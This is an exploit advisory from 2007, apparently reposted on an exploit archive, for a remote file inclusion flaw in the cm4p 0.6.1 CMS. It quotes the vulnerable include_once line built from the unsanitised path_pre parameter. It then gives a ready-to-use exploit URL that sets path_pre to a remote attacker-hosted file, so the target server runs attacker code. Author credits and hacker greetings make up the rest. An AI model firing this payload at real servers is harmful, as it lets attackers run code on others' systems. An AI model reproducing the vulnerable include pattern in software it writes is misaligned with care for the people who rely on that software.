Home / exploitsPDF  

cm4p-rfi.txt

Posted on 23 April 2007

********************************************
*AuThor:Silitoad ***************************
*emA!l:Silitoad[at]hotmail[dot]Com *********
*HoMePaGe: http://www.Arabian-FighterZ.com<http://www.arabian-fighterz.com/>*
********************************************




[Info]
website: http://www.mariovaldez.net
cms: cm4p
Version: 0.6.1
Download: http://www.mariovaldez.net/software/cm_4p/files/cm4p_0.6.1.zip
Problem: Include file

bug: include_once ($path_pre . "cm/cm_anon.inc.php");

[Vuls]

1.Full path disclosure:


[Exploit]

http://target.com/cm4p_0.6.1/cm/create.php?path_pre=http://evilcode.txt?



[Greetings]

Greets To
Linux_m,Str0ke,l1nuxm4,Sn1p8r,Sbitar,Op3runix,simple_clan,l33t_b3k3rz,the
leo from Midt

 

TOP

Malware :

Exploits :